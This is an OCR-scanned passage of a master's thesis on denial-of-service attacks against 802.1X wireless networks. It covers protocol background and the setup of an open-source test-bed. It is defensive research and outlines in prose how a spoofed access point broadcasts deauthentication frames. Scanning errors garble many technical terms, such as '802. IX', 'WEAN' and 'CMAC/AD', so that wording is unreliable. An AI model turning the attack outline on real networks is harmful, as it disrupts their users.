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ABSTRACT 


Wireless  Loeal  Area  Networks  (WLANs)  are  quiekly  beeoming  popular  in  daily 
life.  Users  are  adopting  the  latest  teehnology  to  save  time  and  eosts.  In  addition,  WLANs 
are  providing  high-speed  network  aeeess  to  the  users.  There  are  security  concerns  with 
WLANs  that  must  be  considered  when  deploying  them  over  critical  infrastructure,  such 
as  military  and  administrative  government  LANs. 

The  IEEE  802.11  wireless  standard  specifies  both  an  authentication  service  and 
encryption  protocol,  but  research  has  demonstrated  that  these  protocols  are  severely 
flawed.  The  IEEE  has  established  a  new  workgroup,  the  IEEE  802.1 1 i,  to  address  all  the 
security  vulnerabilities  of  the  802.11  security  protocol.  The  workgroup  proposed  using 
the  IEEE  802.  IX  Port-Based  Network  Access  Control  Standard  as  an  interim  measure  to 
meet  the  security  requirements  of  the  WLANs  and  to  maintain  the  confidentiality, 
authenticity,  and  availability  of  the  data  until  the  workgroup  is  finished  with  the  new 
specifications. 

Using  an  open-source  test-bed  for  evaluating  DoS  attacks  on  WLANs,  this 
research  demonstrates  four  different  DoS  attacks  that  verify  the  weaknesses  of  the  IEEE 
802.  IX  protocol.  Solutions  are  provided  to  mitigate  the  effects  of  such  DoS  attacks. 
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I.  INTRODUCTION 


A.  BACKGROUND 

Wireless  Loeal  Area  Networks  (WLANs)  are  quickly  becoming  part  of  daily  life. 
Users  are  adopting  the  latest  technology  to  save  time  and  costs.  In  addition,  the  WLANs 
are  providing  high-speed  network  access  to  users.  The  security  concerns  of  WLANs  are 
very  important  when  deployed  over  critical  infrastructure,  such  as  military  and 
government  LANs. 

The  IEEE  802.11  wireless  standard  specifies  both  an  authentication  service  and 
encryption  protocol,  but  research  has  demonstrated  that  these  protocols  are  severely 
flawed.  The  802.11  security  standard,  known  as  WEP,  leaves  wireless  communications 
open  to  several  types  of  attacks.  Since  WEP  has  serious  flaws,  IEEE  has  established  a 
new  workgroup,  the  IEEE  802.1 1  i,  to  address  all  the  security  vulnerabilities  of  the  802.1 1 
security  protocol. 

The  workgroup  recommended  using  the  IEEE  802.  IX  Port-Based  Network 
Access  Control  Standard,  as  an  interim  measure,  to  meet  the  security  requirements  of  the 
WEANs  and  to  maintain  the  confidentiality,  authenticity,  and  availability  of  the  data  until 
a  new  WLAN  security  specification  is  fully  developed.  At  the  end  of  2003,  the 
workgroup  released  a  draft  specification  for  a  Robust  Security  Network  (RSN),  but  the 
new  protocol  has  yet  to  be  implemented  in  commercially  available  products. 

Arunesh  Mishra  and  William  Arbaugh  from  the  University  of  Maryland  published 
a  paper  claiming  that  Denial  of  Service  (DoS),  Man-in-the-Middle  (MiM)  and  Session 
Hijacking  attacks  can  be  successfully  launched  against  commercial  IEEE  802.  IX  based 
systems. [1 2]  After  this  claim,  Cisco  released  a  paper  as  an  answer  to  these  claims, 
indicating  MiM  and  Session  Hijacking  attacks  are  not  possible  on  those  802.  IX  systems 
fitted  with  strong  data  encryption  but  DoS  attacks  might  be  successful  as  claimed. [13] 

In  a  previous  Naval  Postgraduate  School  master’s  thesis  [10],  ETJG  Selcuk 
Ozturk,  of  the  Turkish  Navy,  demonstrated  a  successful  DoS  attack  against  an  802.  IX 
WEAN.  The  first  step  of  such  as  attack  was  to  monitor  legitimate  WLAN  communication 
with  Netstumbler,  a  freeware  network  monitor,  to  capture  the  MAC  address  and  the  SSID 
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information  of  the  legitimate  aeeess  point.  Then  a  malieious  AP  is  deployed  spooling 
MAC  address  and  SSID  of  the  valid  access  point.  The  malicious  AP  can  be  programmed 
to  broadcast  deauthentication  messages  to  all  the  clients.  The  802.  IX  does  not  require 
deauthentication  messages  to  be  authenticated.  Therefore,  upon  receiving  one  of  the 
deauthentication  messages  from  the  malicious  AP,  a  legitimate  client  will  attempt  to  re- 
authenticate  with  the  network.  When  the  attacking  AP  generates  a  stronger  RF  signal  than 
the  legitimate  AP,  the  client  will  try  to  authenticate  with  the  malicious  AP  and  be  denied 
access  to  the  WLAN. 

B,  THESIS  OBJECTIVES 

The  main  objective  of  this  thesis  is  to  conduct  a  more  systematic  evaluation  of 
Denial  of  Service  attacks  against  WLANs  using  an  open-source  test-bed.  The  thesis  will 
provide  a  classification  framework  for  all  types  of  DoS  attack. 

Four  different  DoS  attack  scenarios  will  be  presented  to  demonstrate  the 
weaknesses  of  the  current  wireless  protocols.  A  threat  model  will  be  built  to  determine 
the  security  requirements  of  wireless  networks  against  DoS  attacks. 

The  solutions  will  be  discussed  by  evaluating  the  IEEE  802.11  family  of  security 
protocols  according  to  the  classification  framework  and  security  requirements  of  the 
wireless  networks. 

C.  THESIS  ORGANIZATION 

The  rest  of  this  thesis  is  organized  as  follows.  Chapter  II  contains  an  overview 
and  background  of  the  Denial  of  Service  attacks  in  both  wired  and  wireless  networks. 
Chapter  III  explains  the  step-by-step  implementation  of  open-source  test-bed 
environment  and  entities  for  the  802.  IX  protocol.  Chapter  IV  provides  a  classification 
framework  for  all  types  of  DoS  attacks  along  with  a  detailed  example  of  each  attack  type. 
Chapter  V  demonstrates  various  types  of  DoS  attack  applications  by  modifying  the 
hostap  source  code.  In  addition,  this  chapter  provides  a  threat  model  to  determine  the 
security  requirements  of  WLANs  for  DoS  attacks.  Einally,  Chapter  V  proposes  solutions 
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by  evaluating  the  802. lx  and  802.11  protoeols.  Chapter  VI  presents  eonelusions  drawn 
from  the  experimentation  and  suggests  areas  for  future  work. 
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II.  BACKGROUND  AND  OVERVIEW  OF  THE  DENIAL  OF 

SERVICE  ATTACKS 


A,  INTRODUCTION 

This  chapter  will  provide  a  brief  overview  of  Denial  of  Serviee  attaeks  in  both 
wired  and  wireless  networks.  Sinee  most  of  the  DoS  research  has  been  done  for  wired 
networks,  this  ehapter  will  focus  primarily  on  wireless  networks.  Wireless  seeurity 
protoeols,  media  aeeess  eontrol,  and  authentication  mechanisms  will  be  examined  to 
provide  the  background  for  further  discussions  of  DoS  attacks  in  WLANs. 


B,  THE  HISTORY  OF  DENIAL  OF  SERVICE  ATTACKS 

A  Denial  of  Serviee  attaek  is  a  malieious  behavior  that  prevents  legitimate  use  of 
a  network  or  computer.  In  so  doing,  it  prevents  authorized  aeeess  to  the  serviees  and 
delays  time-eritieal  operations.  A  DoS  attack  can  be  ereated  by  intentionally  misusing  the 
legitimate  protoeols,  by  wasting  the  restrieted  resourees  on  servers  or  by  exploiting  flaws 
in  the  protoeols.  The  most  well-known  and  widespread  method  for  mounting  a  DoS 
attaek  is  the  exhaustion  of  restrieted  resourees,  sueh  as  memory  and  bandwidth.  DoS 
attaeks  ean  slow  the  network  or  eompletely  destroy  the  eonnection  between  the  users  and 
resources. 

The  first  doeumented  DoS  attaek  oeeured  on  November  3rd,  1988.  Robert  Morris 
Jr.  ereated  a  worm  and  released  it  on  the  Internet.  Many  of  the  eomputers  aeross  the 
United  States  were  affeeted  [5].  They  eould  not  perform  normal  operations.  Sinee  the 
first  eomputers  had  restricted  amount  of  resourees,  the  DoS  attacks  were  based  on 
resouree  destruction  or  resource  alloeation  on  a  single  eomputer. 

This  DoS  attaek  has  led  the  hardware  and  software  eompanies  to  modify  their 
systems.  Companies  subsequently  released  virus  proteetion  software  and  Intrusion 
Deteetion  System  (IDS)  against  attacks  using  malformed  and  malieious  paekets.  Various 
types  of  firewalls  have  been  developed  to  eontrol  ingoing  and  outgoing  paekets  in  an 
effort  to  proteet  against  unauthorized  access.  However,  while  keeping  pace  with  the 
development  of  the  security  tools,  the  DoS  attacks  became  more  sophistieated.  The 
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attackers  used  more  than  one  attaeker  computer  to  launeh  a  combination  of  DoS  attacks, 
known  as  Distributed  Denial  of  Service  (DDoS)  attacks.  In  so  doing,  the  attaeker  uses  the 
eombined  power  of  many  hosts  to  exhaust  the  resources  of  a  vietim. 

The  first  DDoS  attaeks  oceurred  in  February  2000.  They  attacked  the  web  sites  of 
several  large  companies  such  as  Yahoo.com,  Amazon.com  and  CNN.com.  The  legitimate 
users  were  not  able  to  aceess  these  web  sites  for  several  hours.  The  monetary  damage 
caused  by  the  attacks  was  approximately  $1  billion  [5]. 

Recently,  the  eonvenience  of  Wireless  Local  Area  Networks  (WLANs)  has  led  to 
a  proliferation  of  WLAN  teehnology  in  the  network  market  speeifically  in  industrial  and 
military  sectors.  Efficient  use  of  free  spectrum  and  cheap  hardware  are  other  reasons  that 
WLANs  are  popular.  One  can  set  up  a  WLAN  with  an  open-source  implementation  using 
only  two  wireless  network  cards.  Since  802.11 -based  networks  are  used  widely  in  the 
home,  government  and  military,  they  are  also  attractive  targets  of  various  attaeks, 
including  DoS  attacks. 

The  IEEE  802.1 1  wireless  standard  specifies  both  an  authentieation  serviee  and  an 
encryption  protocol,  but  researches  have  demonstrated  how  severely  flawed  these  are. 
The  attaekers  exploited  these  vulnerabilities  to  launch  several  types  of  attaeks  ineluding  a 
DoS  attaek.  The  IEEE  802.1  li  workgroup  proposed  the  use  of  the  IEEE  802. IX  Port- 
Based  Network  Aceess  Control  Standard  to  meet  the  seeurity  requirements  of  the 
WEANs  until  they  finish  the  802.1  li  security  protocol.  However,  Arunesh  Mishra  and 
William  Arbaugh  from  the  University  of  Maryland  claimed  that  they  could  mount 
successful  Denial  of  Serviee  (DoS)  attacks  against  802.1  IX  using  commercially  available 
elient/supplicant  with  little  trouble  or  development  effort  because  of  several  design  flaws 
of  the  802.  IX  standard  and  the  Extensible  Authentieation  Protoeol  (EAP).  While  the 
802.1  li  workgroup  has  released  a  draft  to  overeome  these  vulnerabilities  for  the  WLANs. 
However,  the  draft’s  implementation  is  not  yet  eommereially  available  and  nor  tested  on 
the  market . 
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C.  OVERVIEW  OF  THE  MEDIA  ACCESS  CONTROL 

The  stations  in  wireless  networks  must  agree  on  their  aeeess  and  their  use  of  the 
shared  media,  whieh  is  radio  frequency.  This  process  is  handled  by  the  Media  Access 
Control  (MAC)  protocol.  The  MAC  protocol  in  wireless  networks  is  a  carrier-sense 
multiple  access  protocol  with  collision  avoidance  (CMAC/AD)  techniques.  Before 
transmitting,  each  station  monitors  cahnneTs  radio  frequency  to  determine  whether  or  not 
another  station  is  transmitting.  If  the  channel  is  idle  for  an  amount  of  time  greater  than 
the  Distributed  Inter-frame  Space  (DIFS),  then  the  station  is  allowed  to  transmit. 

When  a  receiving  station  receives  the  frame,  it  waits  a  specified  amount  of  time, 
known  as  the  Short  Inter-frame  Spacing  (SIFS).  Finally,  the  receiver  will  send  an 
acknowledgment  frame  to  the  sender  to  indicate  the  successful  reception  of  the  frame. 
Figure  1  shows  the  exchange  of  the  data  and  acknowledgment  with  the  timing  intervals. 


Source  Destination 


Figure  1 .  Data  and  Acknowledgment  in  IEEE  802. 1 1 
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If  the  sender  senses  the  ehannel  is  busy,  then  it  will  defer  the  aeeess  until  the 
ehannel  is  elear.  Onee  the  channel  is  sensed  idle  for  a  time  equal  to  the  DIFS,  then  the 
sender  waits  a  random  back-off  time  as  the  channel  is  sensed  idle.  Finally,  the  station  will 
transmit  its  frame. 

The  IEEE  802.1 1  MAC  protocol  uses  a  Request-to-Send  (RTS)  and  Clear-to-Send 
(CTS)  control  frame  to  avoid  collision  and  to  reserve  access  to  the  channel.  The  sender 
will  send  an  RTS  frame  to  the  receiver,  before  sending  a  data  frame  indicating  the 
duration  of  the  data  and  the  ACK  packet.  The  receiver  will  return  the  CTS  frame 


Source  Destination 


Eigure  2.  Collision  Avoidance  Using  the  RTS  and  CTS  Erames 
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providing  the  transmission  permission  to  the  sender.  In  order  to  avoid  interferenee,  the 
other  stations  that  reeeive  the  RTS  and  CTS  eontrol  frame  will  not  transmit.  Figure  2 
shows  the  exchange  of  these  frames. 

The  RTS  and  CTS  frames  are  used  to  avoid  collisions  in  the  IEEE  802.11 
protocol.  However,  The  DoS  attacks  can  be  achieved  by  intentional  misuse  of  these 
control  frames.  In  addition  to  these  frames,  three  other  control  frames  exist,  including 
Power  Save  Poll  (PS-Poll),  Contention  Tree  End  (CE-End)  and  Contention  Eree 
Acknowledgment  (CE-Ack)  frames.  Chapter  IV  will  explain  Denial  of  Service  attacks 
based  on  the  control  frames,  such  as  the  RTS,  CTS  and  PS-Poll  frames. 

D,  OVERVIEW  OF  THE  802,11  AUTHENTICATION  METHODS 

Most  of  the  known  Denial  of  Service  attacks  in  wireless  networks  are  based  on 
the  functioning  of  the  authentication  and  media-access  control  mechanisms.  The  control 
and  management  frames  are  heavily  used  for  the  authentication  process  between  a 
wireless  client  and  an  access  point.  Sections  D  and  E  provide  an  overview  of  the 
authentication  mechanisms  defined  in  both  the  802.11  and  802.  IX  standards.  The 
overview  of  these  protocols  and  frames  will  provide  a  better  understanding  of  DoS 
attacks  in  wireless  networks. 

1.  Open-System  Authentication 

The  open-system  authentication  is  known  as  a  null-authentication  process  in 
which  the  station,  or  client,  always  successfully  authenticates  with  the  access  point.  The 
access  point  allows  all  users  to  authenticate  successfully  and  use  the  network  resources. 
Eigure  3  illustrates  the  authentication  sequence. 

The  access  points  and  the  users  are  configured  to  use  the  same  Service  Set 
Identifier  (SSID)  for  successful  authentication.  The  user  will  send  a  MAC  authentication 
frame  to  the  access  point.  The  access  point  will  response  to  the  end  user  with  the 
successful  authentication  frame  indicating  the  end  user  is  accepted.  [2] 
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Authentication  Request  ^ 

1  1 

- j 

Authentication  Response 

m 

Client 

Access  Point 

Figure  3.  Open-System  Authentication  Schema 


2,  Shared  Key  Authentication 

Shared-key  authentication  requires  a  shared  key  and  a  cryptographic  technique  for 
authentication  between  the  client  and  the  access  point.  This  authentication  method  is 
based  on  a  challenge-response  message  sequence  in  order  to  determine  that  the  client 
knows  the  shared  secret.  Figure  4  illustrates  the  message  sequence  between  the  client  and 
the  access  point.  At  first,  the  client  will  send  an  authentication  request  to  the  access  point. 
A  randomly  generated  challenge  will  be  sent  to  the  client  by  the  access  point.  The  client 
uses  the  shared  secret  to  encrypt  the  random  challenge  and  returns  it  to  the  AP.  The  AP 
will  decrypt  the  result  and  compare  it  with  the  random  challenge  sent  by  the  AP.  If  they 
are  the  same,  then  the  access  point  will  send  a  successful  authentication  message  and  will 
allow  the  client  to  use  the  network  resources.  [1] 

The  RC4  stream  cipher  is  used  for  the  cryptographic  computation.  The  shared-key 
authentication  method  does  not  provide  mutual  authentication.  Only  the  access  point 
authenticates  the  client.  So  the  client  does  not  know  whether  or  not  it  is  communicating 
with  the  legitimate  access  point.  This  is  one  of  the  critical  flaws  in  this  authentication 
method.  Rogue  access  points  can  be  set  up  easily  to  launch  denial  of  service  attacks 
against  the  shared-key  authentication  method. 
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Confirm  Success 


Figure  4.  Shared-Key  Authentication  Message  Sequence 

E.  OVERVIEW  OF  THE  802. IX  AUTHENTICATION  STANDARD 

The  concept  of  IEEE  802.  IX  is  to  provide  a  standardized  security  authentication 
method  for  IEEE  802  based  WEANs.  Three  different  entities  are  involved  in  the  802.  IX 
authentication  method. 

•  A  Supplicant:  An  entity  (client)  at  one  end  of  a  point-to-point  EAN 
segment  that  is  being  authenticated  by  an  authenticator  (authentication 
proxy)  attached  to  the  other  end  of  that  link.  [3] 

•  An  Authenticator:  An  entity  (Access  Point)  at  one  end  of  a  point-to-point 
WLAN  segment  that  facilitates  authentication  of  the  entity  attached  to  the 
other  end  of  that  link  (wireless  client).  [3] 

•  An  Authentication  Server:  An  entity  that  provides  authentication  service  to 
an  authenticator  (Radius  Server-see  below). [3] 

The  Controlled/Uncontrolled  Port  model  is  used  between  the  supplicant  and  the 
authenticator.  The  supplicant  can  use  the  uncontrolled  port  during  the  pre-authentication 
phase  for  sending  the  EAP  frames.  After  a  successful  authentication,  the  supplicant  is 


Client 
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authorized  to  communicate  via  the  controlled  port  for  access  to  network  services.  Three 
different  protocols  are  used  by  the  IEEE  802.  IX. 


•  EAPOL:  The  Extensible  Authentication  Protocol  over  LAN  (EAPOL) 
protocol  carries  LAP  packets  between  the  authenticator  and  the  supplicant. 
So  these  entities  can  initiate  the  LAP  authentication  session  by  using  the 
EAPOL  protocol. 

•  EAP:  The  EAP  protocol  was  originally  developed  for  use  with  the  point- 
to-point  protocol  (PPP)  in  REC  2284  and  has  since  been  widely  deployed 
with  wireless  networks.  The  IEEE  802.  IX  standard  integrates  the  EAP 
protocol  to  provide  an  authentication  mechanism  for  the  IEEE  802.11 
standard. 

•  RADIUS:  The  Remote  Authentication  Dial  in  User  Service  (RADIUS)  is 
adopted  between  the  authentication  server  and  the  authenticator.  The  EAP 
packets  are  encapsulated  in  RADIUS  packets.  A  shared  secret  provides 
authenticity  and  integrity  for  the  carried  packets  by  using  the  HMAC  MD5 
hash  algorithm. 

After  a  brief  explanation  of  the  components  and  protocols  used  in  802.  IX,  the 
authentication  message  flow  will  be  examined  since  most  of  the  DoS  attacks  are  based  on 
flaws  in  the  802.  IX  authentication  protocol.  Eigure  5  shows  the  message  sequence  in 
detail  [4]. 
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At  first,  the  supplicant  will  send  an  EAPOL-Start  packet  to  initiate  the 
authentication  session. 

The  authenticator  replies  with  an  EAP -Request/Identity  packet  encapsulated  in  an 
EAPOL  packet  format. 

The  supplicant  sends  its  identity  credentials  with  an  EAP -Response/Identity 
message  to  the  authenticator.  The  authenticator  receives  this  packet  and  encapsulates  it 
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into  the  RADIUS  Access  Request-EAP/Identity  Message.  The  authenticator  will  relay 
this  RADIUS  frame  to  the  authentication  server. 

After  the  authentication  server  receives  the  RADIUS  Access-Request  Message,  it 
confirms  that  the  supplicant  ID  is  valid. 

The  authentication  server  will  send  a  challenge  message  based  on  the  supplicant 
ID  to  request  the  supplicant  certificate.  The  authenticator  will  receive  this  RADIUS- 
Access  Challenge  message  and  relay  it  to  the  supplicant. 

The  supplicant  will  respond  with  an  EAP-Response  message  containing  its 
credentials.  If  the  authentication  server  validates  the  certificates  then  it  will  respond  with 
an  EAP-Success  message.  After  successful  authentication,  the  supplicant  can  use  the 
controlled  port  and  the  network  resources. 

Since  the  management  frames  used  in  802.  IX  authentication  session  do  not 
enforce  integrity  and  privacy,  the  protocol  is  vulnerable  to  the  DoS  attack.  Chapter  IV 
will  discuss  how  to  circumvent  these  frames. 
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III.  AN  OPEN-SOURCE  WIRELESS  PROTOCOL  TEST-BED 


A,  INTRODUCTION 

The  IEEE  802.  IX  standard  addresses  some  of  the  IEEE  802.11  seeurity 
vulnerabilities.  However,  the  802.  IX  seeurity  standard  is  still  vulnerable  to  Denial  of 
Service  attacks.  This  thesis  primarily  analyzes  various  types  of  DoS  attacks  based  on 
data,  control,  and  management  frames. 

Eor  verification  and  analysis  of  DoS  attacks  against  WEANs,  an  802.  IX  test-bed 
was  built  on  an  IEEE  802.  Ib  wireless  LAN.  This  chapter  explains  how  to  build  and 
configure  the  802.  IX  entities:  the  supplicant,  the  authenticator  and  the  authentication 
server.  The  open-source  software  was  used  on  the  Linux  Operating  System  environment 
for  availability  and  ease  of  source-code  manipulation. 

B,  802.  IX  AUTHENTICATION  TEST-BED 

This  thesis  is  based  on  open-source  software  because  it  is  easier  to  demonstrate 
DoS  attacks  and  to  analyze  the  results  of  this  experiment.  This  section  explains  how  to 
combine  the  Linux  environment  with  the  open-source  software  as  illustrated  in  Eigure  6. 


Supplicant 


Authenticator 


Authentication 

Server 


1.  WinXP(SPl) 


1.  Cisco  340 


FreeRADIUS 


2.  Xsupplicant 


2.  HostAP 


Eigure  6.  802.  IX  Test-bed  Schema  (Erom  Ref  10) 
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1,  Elements  of  the  Authentication  Test-Bed 

The  security  framework  of  the  802.  IX  standard  [14]  consists  of  three  main 
entities:  the  supplicant,  authenticator  and  authentication  server. 

1) .  A  Supplicant:  An  entity  that  desires  to  use  the  services  offered  by  the 
authenticator.  The  client  side  of  the  wireless  network  is  named  as  the  supplicant.  It  is  an 
entity  at  the  one  end  of  the  network  that  is  authenticated  by  the  authentication  server  on 
the  other  end  of  the  network. 

2) .  An  Authenticator:  An  entity  at  one  end  of  a  point-to-point  LAN  segment  that 
facilitates  authentication  of  the  entity  attached  to  the  other  end  of  that  link. [3]  The 
authenticator  has  two  roles:  one  before  the  authentication  and  the  other  after  the 
authentication.  The  authenticator  relays  the  authentication  packets  between  the 
Supplicant  and  the  Authentication  server.  After  a  successful  authentication  takes  place, 
the  authenticator  provides  network  connectivity  to  the  supplicant  independent  of  the 
authentication  server. 

3) .  An  Authentication  Server:  An  entity  that  provides  authentication  service  to  an 
authenticator.  This  service  determines  from  the  credentials  that  the  supplicant  provides, 
whether  the  supplicant  is  authorized  to  access  the  network  services  provided  by  the 
authenticator  [3].  An  authentication  server  is  the  authority  in  a  network  that  decides  the 
access  of  the  supplicant  according  to  its  credentials.  This  server  is  only  needed  for  the 
authentication.  After  a  successful  authentication,  the  server  is  dormant  until  another 
supplicant  wants  to  use  the  network. 

2.  Authentication  Methods 

While  building  the  test-bed,  the  most  secure  authentication  method  must  be 
selected.  One  of  the  main  factors  in  choosing  the  right  authentication  method  for  the  LAP 
protocol  is  the  ability  to  provide  mutual  authentication  between  the  802.  IX  entities.  This 
is  true  because  mounting  attacks  against  WLANs  is  more  difficult  if  the  security  protocol 
provides  robust  mutual  authentication. 
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Two  types  of  authentication  methods  are  used  and  supported  by  the  current 
authentication  servers.  The  first  one  is  Cisco’s  Lightweight  Extensible  Authentication 
Protocol  (LEAP);  the  second  one  is  the  Transport  Layer  Security  (TLS).  The  EAP-TLS 
authentication  method  was  chosen  for  mutual  authentication.  TLS  requires  a  public-key 
infrastructure  (PKI)  for  certificate-based  authentication. 

3,  Hardware  and  Software  Configuration  of  the  Test-Bed 
There  are  three  entities  in  the  802. IX  authentication  mechanism;  the  supplicant 
(mobile  client),  the  authenticator  (access  point)  and  the  authentication  server  (free 
radius). 

a.  Supplicant 

Supplicant  is  an  entity  that  requests  network  access  and  is  being 
authenticated  by  an  authenticator.  A  Pentium  III  laptop  with  PCMCIA  support  is  used  as 
the  supplicant  for  an  Open- IX  test-bed.  A  D-Link  DWL-650  wireless  network  interface 
card  is  used  for  wireless  communication  between  the  supplicant  and  the  authenticator. 

Two  operating  systems  were  considered  to  host  the  supplicant:  Windows 
XP  and  Linux  Red  Hat.  Both  of  them  have  advantages  and  disadvantages.  The  supplicant 
in  Linux  Red  Hat  provides  a  wide  range  of  tools  for  the  supplicant’s  configuration;  in 
addition  the  supplicant  in  Windows  XP  is  easy  to  implement.  Since  this  thesis  focuses  on 
the  Denial  of  Service  attack,  which  does  not  require  any  configuration  of  the  supplicant, 
Windows  XP  is  used  for  an  Open- IX  test-bed.  In  this  section,  both  the  Windows  XP 
client  and  the  xsupplicant  will  be  explained  in  detail. 

(1)  Windows  XP  SPl;  The  Microsoft  Windows  XP  with  a 
Service  Pack  1  (SP-1)  operating  system  is  used  for  its  embedded  IEEE  802.  IX  supplicant 
support.  A  D-Link  DWL-650  network  interface  card  is  used  for  wireless  communication. 
The  driver  can  be  easily  downloaded  and  installed  from  http://support.dlink.com/.  After 
installation  of  Windows  XP  SPl,  the  public  key  certificate  and  private  key  of  the  client 
are  created.  The  public  key  certificate  (PKC)  of  the  root  certificate  authority  (Root-CA)  is 
imported  and  installed.  Appendix  B  provides  the  details  on  installing  the  certificates  and 
configuring  of  the  802.  IX  protocol  for  the  supplicant. 
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(2)  Xsupplicant:  The  Linux  Red  Hat  operating  system  can 
host  the  Xsupplicant  on  a  mobile  laptop.  The  same  D-Link  DWL-650  NIC  is  used  as  a 
wireless  interface  card.  DWL-650  does  not  officially  support  Linux  drivers.  However,  the 
chipset  (Intersil  PrismT)  is  supported  by  Linux  Red  Hat  8.0  via  omico_cs  driver. 

The  three  dependent  libraries  should  be  built  and  installed  before 
the  Xsupplicant  source  code; 

•  Opens SL  0.9.7  (http://www.openssl.org/) 

•  Libpcap  0.7.1  (http://www.tcpdump.org/) 

•  Libnet  1 . 1 . 0  (http://www.packetfactorv.net/libnet/) 

All  these  components  should  be  downloaded  and  uncompressed 
into  the  /usr/src/xsup  directory  for  the  installation.  The  “readme”  and  “install”  documents 
furnish  adequate  information  in  order  to  build  the  libraries.  The  following  commands  are 
sufficient  for  building  and  installing  the  required  libraries  for  the  Xsupplicant. 
cd  /usr/src/xsup/<directory  name> 

.  /configure 
make 

make  install 

The  Xsupplicant  source  code  can  be  downloaded  from  the 
sourceforge.net  website  (http://sourceforge.net/proiects/openlx/).  The  compressed  source 
code  (tarball)  should  be  uncompressed  into  the  /usr/src/xsup  directory.  The  following 
commands  suffice  for  the  default  installation  of  the  xsupplicant  source  code. 
cd  /usr/src/xsup/xsupplicant 
.  /configure  -enable-full-debug 
make 

make  install 
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The  “enable-full-debug”  flag  eauses  eritieal  information  and  run¬ 
time  errors  to  be  printed  during  eonfiguration.  It  is  crueial  to  use  this  flag  in  order  to 
determine  whether  or  not  the  dependent  libraries  are  found  by  the  xsupplicant  source 
code. 

After  installing  the  dependent  libraries  and  xsupplicant  source 
code,  the  certificates  created  by  Certificate  Generator  should  be  copied  into  the 
designated  directory,  as  defined  in  the  configuration  file  (Ix.conf).  This  configuration 
fide  must  be  copied  into  the  /etc/lx/  directory  since  the  xsupplicant  daemon  requires  the 
Ix.conf  file  to  be  in  that  directory  by  default.  Finally,  the  xsupplicant  daemon  can  be 
activated  with  the  following  commands. 

iwconfig  wlanO  essid  test 
xsupplicant  -I  wlanO 

b.  Authenticator 

The  authenticator  is  an  entity  at  one  end  of  a  LAN  segment  that  facilitates 
authentication  of  the  entity  attached  to  the  other  end  of  that  LAN.  In  this  context,  an 
authenticator  forwards  802.  IX  frames  of  a  supplicant  to  an  authentication  server  for 
authentication.  The  authenticator  provides  network  connectivity  to  the  supplicant  via  a 
controlled  port  after  a  successful  authentication.  In  order  to  achieve  this,  a  dual-port 
model  is  used.  Figure  7  shows  the  dual-port  concept  employed  in  IEEE  802.  IX.  The 
authenticator  has  two  ports  for  external  access  to  the  network  that  it  is  protecting;  The 
Uncontrolled  Port  and  the  Controlled  Port.  The  Uncontrolled  Port  filters  all  traffic  and 
allows  only  the  EAP  packets  to  pass  for  the  authentication.  After  successful 
authentication,  the  supplicants  can  use  the  Controlled  Port  to  send  regular  network  traffic 
through  the  authenticator. 
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Figure  7.  802.  IX  Authenticator  Dual-Port  Concept  (From  Ref.  10) 

For  this  thesis,  the  authenticator  is  the  most  important  entity  in  the  open- 
source  802.  IX  test-bed,  since  it  enables  802.11b  access  point  functionality  using  the 
firmware  of  the  Intersil  chipsets  for  time  sensitive  tasks.  All  other  functionality  is  handled 
by  the  Hostap  driver,  including  WEP  and  passing  frames  off  to  an  authentication  server. 

(1)  HostAP:  The  Host  AP  driver  is  a  Linux  driver  for  wireless  LAN 
cards  based  on  Intersil’s  Prism  2/2. 5/3  chipset.  Since  D-Link  DWL  650  wireless  NIC  is 
based  on  the  Prism  2  chipset,  the  Hostap  driver  will  support  it.  The  driver  supports  Host 
AP  mode  and  does  not  require  any  special  firmware  for  the  D-Link  DWL  650  wireless 
NIC.  It  performs  IEEE  802.11  management  functions  and  acts  as  an  access  point.  In 
addition,  it  implements  the  following  IEEE  802.1 1  functions: 

•  Association 

•  Authentication 

•  Data  transmission  between  two  wireless  stations 

•  Power  saving  mode  signaling 

•  Erame  buffering. 
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An  IBM  Think-Pad  600  Pentium  II  laptop  and  a  D-Link  DWL  650 
wireless  NIC  are  the  hardware  eomponents  of  the  authentieator.  Linux  Red  Hat  9.0  with 
kernel  2.4.22  is  installed  to  support  the  Hostap  driver. 

The  Wireless  Extensions  vl5  and  vl6  patehes  are  not  neeessary  for  the 
Linux  kernel  version  2.4.22.  Two  kernel-configuration  options  must  be  enabled  during 
the  configuration  of  the  kernel  (2.4.22):  the  wireless  LAN  (non-hamradio)  option  for 
Hostap  support  (Figure  8)  and  the  802. Id  Ethernet  Bridging  option  (Figure  9)  for 
bridging  support  between  the  wireless  and  wired  interface.  These  graphical  configuration 
menus  will  be  displayed  after  the  xconfig  command  of  the  kernel  configuration  process. 
These  options  are  not  enabled  by  default.  The  authenticator  would  not  function  properly 
without  these  support  options. 


Figure  8.  Wireless  LAN  (non-hamradio)  Option 
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Figure  9.  802. Id  Kernel  Bridging  Support 

Before  version  vO.1.0,  the  Hostap  driver  used  to  be  distributed  as  one 
tarball.  Now  the  software  is  separated  into  three  components.  Since  the  Hostap  vO.1.1 
driver  is  used  for  the  test-bed,  the  following  three  Hostap  components  and  Wireless 
Extension  tools  were  installed  on  the  authenticator: 

•  Hostap-driver  0.1.1 

•  Hostapd 

•  Hostap-utils 

•  Wireless  Extension  Tools  v25 

The  Wireless  Extensions  Tools  v25  (http://pcmcia- 
cs.sourceforge.net/ftp/contrib/)  were  downloaded  and  uncompressed  into  the  /usr/src/ 
directory  tree.  The  source  code  was  installed  by  the  command  sequence  below. 

.  /configure 

make 

make  install 
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The  Hostap  driver,  utilities  and  daemon  source  code 
(http  ://hostap .  epitest.fi)  were  downloaded  and  uncompressed  into  the  /usr/src/  directory 
tree.  The  Hostap  driver  was  configured  by  the  commands  below. 

tar  -zxvf  hostap-driver-O.l.l.tar.gz 

.  /configure 

After  the  configuration  of  the  driver,  a  Makefile  was  created  for  this 
specific  configuration.  The  KERNEL  PATH  variable  was  set  to  the  kernel  configured  for 
the  access  point  in  the  /usr/src/hostap/Makefiile  file. 

#Edit  this  path  to  match  the  system  (It  should  point  to  the  root  directory 

#  of  the  Linux  kernel  source.) 

KERNEL  PA  TH=/usr/src/linux-2. 4. 22 

#  Leave  this  blank  for  kernel-tree  PCMCIA  compilations 
PCMCIA_PATH= 

Since  the  Hostap  requires  kernel  support,  the  Hostap  source  code  must  be 
built  and  installed  after  the  proper  configuration  and  required  modification  to  the 
Makefile.  The  “Extra  flag”  option  was  required  in  order  to  support  the  802.  IX 
functionality  for  hostapd  daemon. 

make  pccard  EXTRA_CFLAGS=  "-DPRISMHOSTAPD  " 

make  install _pccard 

The  Hostap  utility  and  daemon  components  were  built  and  installed  to 
